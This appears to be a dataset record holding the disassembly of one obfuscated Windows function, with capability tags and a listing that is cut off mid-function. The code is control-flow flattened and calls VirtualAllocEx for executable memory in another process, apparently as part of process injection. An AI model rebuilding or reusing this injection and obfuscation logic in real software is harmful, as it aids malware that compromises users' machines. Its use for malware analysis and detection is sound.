Function at 0x401460
Capabilities:
Access peb ldr_data
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b0
mov eax, dword [0x4aa2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
lea edx, [eax - 1]
imul edx, eax
mov eax, 0x13e871b6
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [ebp - 0x65]
cmp ecx, 0xa
setl byte [ebp - 0x66]
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xf4813231
mov edi, 0x8b124fc3
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8b124fc3
sete al
cmove ecx, ebx
cmp dword [0x4ac3e4], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
nop dword [eax]
cmp eax, 0x2e3f8d
jg 0x401590
cmp eax, 0xc24900a2
jg 0x401650
cmp eax, 0x9dfca0c5
jg 0x401740
cmp eax, 0x919beaf2
jg 0x4018fc
cmp eax, 0x8a06e819
jle 0x401beb
cmp eax, 0x8dbeeea4
jg 0x402174
cmp eax, 0x8b6b360d
jle 0x402a3f
cmp eax, 0x8b6b360e
je 0x40389f
cmp eax, 0x8c61f887
je 0x4038b2
cmp eax, 0x8d0166b2
jne 0x4014e0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x9c]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa0]
mov eax, 0xc09b863
jmp 0x4014e0
cmp eax, 0x48259b7a
jle 0x4016c0
cmp eax, 0x66eb7bfe
jg 0x401797
cmp eax, 0x56e7f889
jg 0x401954
cmp eax, 0x5153e11a
jle 0x401c43
cmp eax, 0x5458168c
jg 0x4021b6
cmp eax, 0x525459c3
jle 0x402a5f
cmp eax, 0x525459c4
je 0x4038bc
cmp eax, 0x528c6058
je 0x4038c9
cmp eax, 0x53b00a94
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xa50a92eb
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xca86cbf6
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0xac]
cmovge ecx, edi
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x188], eax
mov eax, ecx
jmp 0x4014e0
cmp eax, 0xe3b72a52
jle 0x4017f7
cmp eax, 0xf231cade
jg 0x4019bd
cmp eax, 0xe8a4f744
jle 0x401c93
cmp eax, 0xebf1ec6e
jg 0x402214
cmp eax, 0xe9d42190
jle 0x402a9b
cmp eax, 0xe9d42191
je 0x4038e2
cmp eax, 0xea8f8d17
je 0x4038ec
cmp eax, 0xeabd57d6
jne 0x4014e0
mov eax, 0x4a9b5742
jmp 0x4014e0
cmp eax, 0x1df99702
jle 0x401878
cmp eax, 0x3172ef12
jg 0x401a26
cmp eax, 0x2a47816f
jle 0x401cf0
cmp eax, 0x2ef8d5b8
jg 0x402273
cmp eax, 0x2c8c2ef9
jle 0x402ad6
cmp eax, 0x2c8c2efa
je 0x4038ff
cmp eax, 0x2de1d930
je 0x403931
cmp eax, 0x2e1c3027
jne 0x4014e0
movzx eax, word [ebp - 0xc6]
add eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x814770eb
jmp 0x4014e0
cmp eax, 0xb0f443ff
jg 0x401aa8
cmp eax, 0xa50a92ea
jle 0x401d31
cmp eax, 0xad727972
jg 0x4022d3
cmp eax, 0xa9438131
jle 0x402af6
cmp eax, 0xa9438132
je 0x40393b
cmp eax, 0xa99c987b
je 0x403945
cmp eax, 0xaca02ffa
jne 0x4014e0
mov eax, 0x7c841484
jmp 0x4014e0
cmp eax, 0x77173e47
jg 0x401af4
cmp eax, 0x6e7a09c2
jle 0x401d82
cmp eax, 0x747be782
jg 0x402309
cmp eax, 0x7209fbf3
jle 0x402b1c
cmp eax, 0x7209fbf4
je 0x40394f
cmp eax, 0x73cf3a40
je 0x403971
cmp eax, 0x742f4eeb
jne 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xa
mov eax, 0xe74a92e5
jmp 0x4014e0
cmp eax, 0xccc36978
jg 0x401b53
cmp eax, 0xc88b7660
jle 0x401dec
cmp eax, 0xca86cbf5
jg 0x402364
cmp eax, 0xc904982f
jle 0x402b58
cmp eax, 0xc9049830
je 0x403987
cmp eax, 0xc923f000
je 0x403997
cmp eax, 0xc983cc8c
jne 0x4014e0
mov eax, dword [ebp - 0xf0]
mov edi, 0xfa1264cf
mov ebx, 0xc9049830
cmp dword [eax], 0
mov eax, dword [0x4ac3e8]
lea ecx, [eax - 1]
setne byte [ebp - 0x6c]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc9049830
jmp 0x404d2c
cmp eax, 0x10c91ced
jle 0x401b9f
cmp eax, 0x16103483
jle 0x401e50
cmp eax, 0x18f9c374
jg 0x4023c3
cmp eax, 0x174451d0
jle 0x402b78
cmp eax, 0x174451d1
je 0x4039a1
cmp eax, 0x17ddc7b0
je 0x4039b7
cmp eax, 0x187e924c
jne 0x4014e0
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x5c]
mov edx, dword [edx]
mov edi, dword [ebp - 0x54]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add ecx, dword [edx + edi*4 + 0x10]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xac]
mov eax, 0xbcf68aaf
jmp 0x4014e0
cmp eax, 0x96106df3
jle 0x401ecf
cmp eax, 0x980fca50
jg 0x4023f9
cmp eax, 0x967a8c9a
jle 0x402b98
cmp eax, 0x967a8c9b
je 0x4039c1
cmp eax, 0x97016f3e
je 0x4039d7
cmp eax, 0x975b7701
jne 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x34]
mov eax, 0xd1bfc00b
jmp 0x4014e0
cmp eax, 0x6010daf4
jle 0x401f10
cmp eax, 0x64f37cc1
jg 0x40243a
cmp eax, 0x6234e498
jle 0x402bc7
cmp eax, 0x6234e499
je 0x4039fe
cmp eax, 0x64679a7f
je 0x403a51
cmp eax, 0x64d89e94
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x2a4575c3
mov edi, 0x98bb98b1
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x98bb98b1
jmp 0x4014c3
cmp eax, 0xf8d0faaa
jle 0x401f6e
cmp eax, 0xfbfc7ccc
jg 0x402479
cmp eax, 0xfa1264ce
jle 0x402c04
cmp eax, 0xfa1264cf
je 0x403a6a
cmp eax, 0xfa15a52c
je 0x403a80
cmp eax, 0xfaa09c54
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x4f8c3add
mov ebx, 0xcb23ed77
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xcb23ed77
jmp 0x404d2c
cmp eax, 0x39e166c7
jle 0x401faf
cmp eax, 0x4166b1f6
jg 0x4024ef
cmp eax, 0x3e5de9ba
jle 0x402c40
cmp eax, 0x3e5de9bb
je 0x403a9f
cmp eax, 0x3fefb00d
je 0x403adb
cmp eax, 0x40fd772d
jne 0x4014e0
mov eax, dword [ebp - 0xcc]
mov ecx, 0xa0
mov ebx, 0xc24900a3
mov edi, 0x2ef8d5b9
mov dword [eax], 0x44
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, ecx
mov dword [ebp - 0x108], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2ef8d5b9
jmp 0x402bf7
cmp eax, 0xb8d59fde
jle 0x402022
cmp eax, 0xbe66c830
jg 0x402531
cmp eax, 0xbcf68aae
jle 0x402c89
cmp eax, 0xbcf68aaf
je 0x403ae8
cmp eax, 0xbdb5494e
je 0x403afd
cmp eax, 0xbe46e715
jne 0x4014e0
mov eax, 0xe16bd66d
jmp 0x4014e0
cmp eax, 0x7c841483
jle 0x402069
cmp eax, 0x7df357ce
jg 0x402581
cmp eax, 0x7da089a1
jle 0x402cc8
cmp eax, 0x7da089a2
je 0x403b20
cmp eax, 0x7dad002d
je 0x403b5a
cmp eax, 0x7dbbda82
jne 0x4014e0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xbee18047
jmp 0x4014e0
cmp eax, 0xd8b3d3c7
jg 0x4020bb
cmp eax, 0xd27dc07c
jg 0x4025ba
cmp eax, 0xcdefeffb
jle 0x402d04
cmp eax, 0xcdefeffc
je 0x403b67
cmp eax, 0xd16e9bee
je 0x403b8d
cmp eax, 0xd1bfc00b
jne 0x4014e0
mov eax, 0x4f9965e4
jmp 0x4014e0
cmp eax, 0xbe3dbde
jg 0x402124
cmp eax, 0x5dd488d
jle 0x4025ee
cmp eax, 0x899691b
jle 0x402d40
cmp eax, 0x899691c
je 0x403bde
cmp eax, 0x8f2ebac
je 0x403bf1
cmp eax, 0xaba1b48
jne 0x4014e0
mov eax, 0xecdd7d11
jmp 0x4014e0
cmp eax, 0x83c30178
jle 0x402640
cmp eax, 0x86f7a1b0
jle 0x402d7c
cmp eax, 0x86f7a1b1
je 0x403c09
cmp eax, 0x8845bd2f
je 0x403c30
cmp eax, 0x8859f72e
jne 0x4014e0
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x134]
cmp ecx, dword [eax + 0x1c]
mov eax, 0x55f57613
mov ecx, 0xcdefeffc
cmove eax, ecx
jmp 0x4014e0
cmp eax, 0x4f8c3adc
jle 0x402687
cmp eax, 0x509283b1
jle 0x402da2
cmp eax, 0x509283b2
je 0x403c3a
cmp eax, 0x509541a7
je 0x403c44
cmp eax, 0x50f02537
jne 0x4014e0
cmp dword [ebp - 0x19c], 0
mov eax, 0x6c6b1bdb
mov ecx, 0x9a793f17
cmovns eax, ecx
jmp 0x4014e0
cmp eax, 0xe6575692
jle 0x4026b2
cmp eax, 0xe72c3243
jle 0x402e77
cmp eax, 0xe72c3244
je 0x403c54
cmp eax, 0xe74a92e5
je 0x403c5e
cmp eax, 0xe86d819f
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xad727973
mov edi, 0xea8f8d17
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xea8f8d17
jmp 0x404734
cmp eax, 0x25ea6d2b
jle 0x4026f9
cmp eax, 0x27d7dc81
jle 0x402e99
cmp eax, 0x27d7dc82
je 0x403c6b
cmp eax, 0x28217df3
je 0x403c9c
cmp eax, 0x2a4575c3
jne 0x4014e0
mov eax, 0xccd9d5b9
jmp 0x4014e0
cmp eax, 0xa087eb72
jle 0x402724
cmp eax, 0xa2208d05
jle 0x402ed6
cmp eax, 0xa2208d06
je 0x403cb9
cmp eax, 0xa37e06d3
je 0x403cdd
cmp eax, 0xa4982cfd
jne 0x4014e0
mov eax, dword [ebp - 0x1a0]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0x5599d369
jmp 0x402357
cmp eax, 0x6c6b1bda
jle 0x40274f
cmp eax, 0x6cdf7839
jle 0x402f07
cmp eax, 0x6cdf783a
je 0x403cf6
cmp eax, 0x6d0b0908
je 0x403d00
cmp eax, 0x6df4bb3d
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x79b31a73
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd16e9bee
jmp 0x405045
cmp eax, 0xc4ca3933
jle 0x40277a
cmp eax, 0xc6bf50d8
jle 0x402f27
cmp eax, 0xc6bf50d9
je 0x403d16
cmp eax, 0xc73f2a52
je 0x403d20
cmp eax, 0xc80ec6de
jne 0x4014e0
mov eax, dword [ebp - 0x94]
mov eax, dword [0x4ac3e8]
mov edi, 0x374b5a23
mov ebx, 0x7e0459a8
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7e0459a8
jmp 0x404d2c
cmp eax, 0x13e871b5
jle 0x4027a5
cmp eax, 0x148cfa6c
jle 0x402f53
cmp eax, 0x148cfa6d
je 0x403d36
cmp eax, 0x14eaa5cb
je 0x403d68
cmp eax, 0x152afe0e
jne 0x4014e0
mov eax, dword [ebp - 0x24]
mov ebx, 0xaf6cbb5a
mov edi, 0xd4a241bf
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd4a241bf
jmp 0x4014c3
cmp eax, 0x951d283e
jle 0x4027fa
cmp eax, 0x95765059
jle 0x402f73
cmp eax, 0x9576505a
je 0x403d88
cmp eax, 0x95a4977d
je 0x403d92
cmp eax, 0x95adfc57
jne 0x4014e0
mov eax, 0x83c30179
jmp 0x4014e0
cmp eax, 0x595fa0fa
jle 0x402828
cmp eax, 0x5ca6e0d1
jle 0x402f9e
cmp eax, 0x5ca6e0d2
je 0x403dc4
cmp eax, 0x5e1442bf
je 0x403df7
cmp eax, 0x5ed32bac
jne 0x4014e0
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0x28217df3
jmp 0x4014e0
cmp eax, 0xf4813230
jle 0x40287d
cmp eax, 0xf6a7bed6
jle 0x402fca
cmp eax, 0xf6a7bed7
je 0x403e01
cmp eax, 0xf733119c
je 0x403e0b
cmp eax, 0xf83f9824
jne 0x4014e0
mov eax, 0xe53b271f
jmp 0x4014e0
cmp eax, 0x334fd89d
jle 0x4028dd
cmp eax, 0x35be3be2
jle 0x402ff0
cmp eax, 0x35be3be3
je 0x403e21
cmp eax, 0x36db1dcd
je 0x403e3a
cmp eax, 0x374b5a23
jne 0x4014e0
mov eax, dword [ebp - 0x18]
mov ebx, 0xb4a42fec
mov edi, 0x7e0459a8
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x7e0459a8
jmp 0x4014c3
cmp eax, 0xb452ffd8
jle 0x402908
cmp eax, 0xb5482aad
jle 0x403039
cmp eax, 0xb5482aae
je 0x403e44
cmp eax, 0xb5b35590
je 0x403e7a
cmp eax, 0xb757fa9a
jne 0x4014e0
mov eax, dword [ebp - 0xac]
mov eax, 0x69a1540c
jmp 0x4014e0
cmp eax, 0x78c65cc5
jle 0x402945
cmp eax, 0x797d5e9b
jle 0x403059
cmp eax, 0x797d5e9c
je 0x403e84
cmp eax, 0x79b31a73
je 0x403ea5
cmp eax, 0x7be37f81
jne 0x4014e0
mov eax, dword [ebp - 0x190]
mov ecx, 0x6d0b0908
cmp eax, 0xc
mov eax, 0xc421be22
cmove eax, ecx
jmp 0x4014e0
cmp eax, 0xdfcee8ed
jle 0x40297b
cmp eax, 0xe16bd66c
jle 0x40307c
cmp eax, 0xe16bd66d
je 0x403f13
cmp eax, 0xe21bf93d
je 0x403f3a
cmp eax, 0xe30a78da
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x424b4e3f
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x56d695f8
jmp 0x404fc6
cmp eax, 0xd8e2856
jle 0x4029c7
cmp eax, 0x1033527c
jle 0x4030e0
cmp eax, 0x1033527d
je 0x403f8b
cmp eax, 0x1056d61b
je 0x403fbd
cmp eax, 0x107e256d
jne 0x4014e0
mov eax, dword [ebp - 0x138]
add eax, 0x18
mov dword [ebp - 0x13c], eax
mov eax, 0x8859f72e
jmp 0x4014e0
cmp eax, 0x8e6352bc
jle 0x403100
cmp eax, 0x8e6352bd
je 0x404050
cmp eax, 0x8e86a7c5
je 0x40405a
cmp eax, 0x8eefe35e
jne 0x4014e0
cmp byte [ebp - 0x69], 0
mov eax, 0x899691c
mov ecx, 0x321b5675
cmovne eax, ecx
jmp 0x4014e0
cmp eax, 0x5599d368
jle 0x403167
cmp eax, 0x5599d369
je 0x404070
cmp eax, 0x55f57613
je 0x404096
cmp eax, 0x56d695f8
jne 0x4014e0
mov eax, dword [ebp - 0x60]
mov ebx, 0xadaf57a6
mov edi, 0x424b4e3f
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x424b4e3f
jmp 0x4014c3
cmp eax, 0xed7d9542
jle 0x40319d
cmp eax, 0xed7d9543
je 0x4040b9
cmp eax, 0xeec03ea2
je 0x4040f5
cmp eax, 0xeef7402d
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x3fefb00d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x8e1b6707
jmp 0x4045cf
cmp eax, 0x2f5cfeb8
jle 0x403200
cmp eax, 0x2f5cfeb9
je 0x404128
cmp eax, 0x302d1017
je 0x404140
cmp eax, 0x304640b4
jne 0x4014e0
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x160], eax
mov eax, 0x7da089a2
jmp 0x4014e0
cmp eax, 0xae682202
jle 0x40323c
cmp eax, 0xae682203
je 0x40417b
cmp eax, 0xaebc0b16
je 0x40418e
cmp eax, 0xaf6cbb5a
jne 0x4014e0
mov eax, 0x6df4bb3d
jmp 0x4014e0
cmp eax, 0x76071ac7
jle 0x40325c
cmp eax, 0x76071ac8
je 0x4014a1
cmp eax, 0x76533bfb
je 0x40419e
cmp eax, 0x76f5d99b
jne 0x4014e0
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x246f41f4
mov ecx, 0x9a793f17
cmove eax, ecx
jmp 0x4014e0
cmp eax, 0xcb23ed76
jle 0x40327c
cmp eax, 0xcb23ed77
je 0x4041ef
cmp eax, 0xcbc99748
je 0x4041f9
cmp eax, 0xcbd62dd0
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x1056d61b
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x48259b7b
jmp 0x405045
cmp eax, 0x1adf7440
jle 0x4032d7
cmp eax, 0x1adf7441
je 0x404203
cmp eax, 0x1c1b9ca7
je 0x40420d
cmp eax, 0x1caae8d5
jne 0x4014e0
mov eax, 0x8110d209
jmp 0x4014e0
cmp eax, 0x98bb98b0
jle 0x403314
cmp eax, 0x98bb98b1
je 0x40421a
cmp eax, 0x9a793f17
je 0x404224
cmp eax, 0x9af8a0af
jne 0x4014e0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, 0x32b61695
jmp 0x4014e0
cmp eax, 0x664d2835
jle 0x40334c
cmp eax, 0x664d2836
je 0x404239
cmp eax, 0x665f9d64
je 0x40424e
cmp eax, 0x669e8274
jne 0x4014e0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x20
mov eax, 0xa087eb73
jmp 0x4014e0
cmp eax, 0xfe94afd3
jle 0x403391
cmp eax, 0xfe94afd4
je 0x4042a6
cmp eax, 0xfed619c6
je 0x4042b0
cmp eax, 0xffc8cca5
jne 0x4014e0
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xcc], eax
mov eax, 0x10ed5bf3
jmp 0x4014e0
cmp eax, 0x4410c002
jle 0x4033ba
cmp eax, 0x4410c003
je 0x4042bd
cmp eax, 0x454ec7ba
je 0x4042f1
cmp eax, 0x460efa45
jne 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x44]
mov eax, 0x95a4977d
jmp 0x4014e0
cmp eax, 0xc07a522b
jle 0x4033dd
cmp eax, 0xc07a522c
je 0x404324
cmp eax, 0xc147b8f1
je 0x40432e
cmp eax, 0xc1fe125f
jne 0x4014e0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xe8]
mov edi, 0xc923f000
mov dword [eax], ecx
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
jmp 0x4045f5
cmp eax, 0x7e72c367
jle 0x403438
cmp eax, 0x7e72c368
je 0x404338
cmp eax, 0x7f03646d
je 0x404342
cmp eax, 0x7f4824fe
jne 0x4014e0
mov eax, dword [ebp - 0x40]
mov eax, 0x919beaf3
jmp 0x4014e0
cmp eax, 0xd512fc69
jg 0x40345e
cmp eax, 0xd27dc07d
je 0x404377
cmp eax, 0xd4a241bf
jne 0x40505d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, 0x152afe0e
jmp 0x4014e0
cmp eax, 0x54e012f
jg 0x403489
cmp eax, 0x2e3f8e
je 0x404381
cmp eax, 0xe96d6c
jne 0x4014e0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4ac3e8]
mov edi, 0x1415bab2
mov ebx, 0x9e9992e8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9e9992e8
jmp 0x404d2c
cmp eax, 0x814770ea
jg 0x4034c6
cmp eax, 0x80420cf0
je 0x404391
cmp eax, 0x8110d209
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x64d89e94
mov ebx, 0x98bb98b1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x98bb98b1
jmp 0x404d2c
cmp eax, 0x4a9b5741
jg 0x4034f2
cmp eax, 0x48259b7b
je 0x4043c0
cmp eax, 0x49261caa
jne 0x4014e0
mov eax, 0xcdefeffc
jmp 0x4014e0
cmp eax, 0xe5988a8d
jg 0x403515
cmp eax, 0xe3b72a53
je 0x40441c
cmp eax, 0xe53b271f
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0xd8e2857
mov ebx, 0xf83f9824
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf83f9824
jmp 0x404d2c
cmp eax, 0x2440edc9
jg 0x40355d
cmp eax, 0x1df99703
je 0x404461
cmp eax, 0x234181c2
jne 0x4014e0
mov eax, 0xa37e06d3
jmp 0x4014e0
cmp eax, 0x9e9992e7
jg 0x403588
cmp eax, 0x9dfca0c6
je 0x404477
cmp eax, 0x9e01203f
jne 0x4014e0
mov eax, 0x60176552
jmp 0x4014e0
cmp eax, 0x69a1540b
jg 0x4035c5
cmp eax, 0x66eb7bff
je 0x4044a9
cmp eax, 0x6890d08d
jne 0x4014e0
mov eax, 0x814770eb
jmp 0x4014e0
cmp eax, 0xc421be21
jg 0x4035f8
cmp eax, 0xc24900a3
je 0x4044b3
cmp eax, 0xc3ee01e2
jne 0x4014e0
mov eax, 0x521bdef9
jmp 0x4014e0
cmp eax, 0x12313a20
jg 0x403623
cmp eax, 0x10c91cee
je 0x4044bd
cmp eax, 0x10ed5bf3
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x40fd772d
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2ef8d5b9
jmp 0x404f3a
cmp eax, 0x92a7c3c8
jg 0x40368a
cmp eax, 0x919beaf3
je 0x4044d3
cmp eax, 0x91b7e579
jne 0x4014e0
mov eax, dword [ebp - 0x14]
mov eax, 0xe21bf93d
jmp 0x4014e0
cmp eax, 0x588eed39
jg 0x4036c5
cmp eax, 0x56e7f88a
je 0x4044dd
cmp eax, 0x56ffcc2e
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0xb452ffd9
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x665f9d64
jmp 0x404f3a
cmp eax, 0xf30be14a
jg 0x403700
cmp eax, 0xf231cadf
je 0x4044f5
cmp eax, 0xf28e8d55
jne 0x4014e0
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa4]
mov eax, 0x78b334c9
jmp 0x4014e0
cmp eax, 0x321b5674
jg 0x403729
cmp eax, 0x3172ef13
je 0x404527
cmp eax, 0x31f4d5df
jne 0x4014e0
mov eax, 0x7df357cf
jmp 0x4014e0
cmp eax, 0xb161ec06
jg 0x40377d
cmp eax, 0xb0f44400
je 0x40453c
cmp eax, 0xb149108f
jne 0x4014e0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0x1df99703
setl byte [ebp - 0x6e]
jmp 0x4014e0
cmp eax, 0x782a2c2c
jg 0x4037ba
cmp eax, 0x77173e48
je 0x404552
cmp eax, 0x7737f999
jne 0x4014e0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x194]
mov dword [eax], ecx
mov eax, 0xe5988a8e
jmp 0x4014e0
cmp eax, 0xdaf500ff
jg 0x40381c
cmp eax, 0xd8b3d3c8
je 0x404584
cmp eax, 0xda936796
jne 0x4014e0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov word [ebp - 0xc6], ax
mov eax, 0x2e1c3027
jmp 0x4014e0
cmp eax, 0xc44c602
jg 0x403873
cmp eax, 0xbe3dbdf
je 0x404597
cmp eax, 0xc09b863
jne 0x4014e0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x9c]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xa0]
mov edi, 0xc88b7661
mov ebx, 0x8d0166b2
mov dword [ecx], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
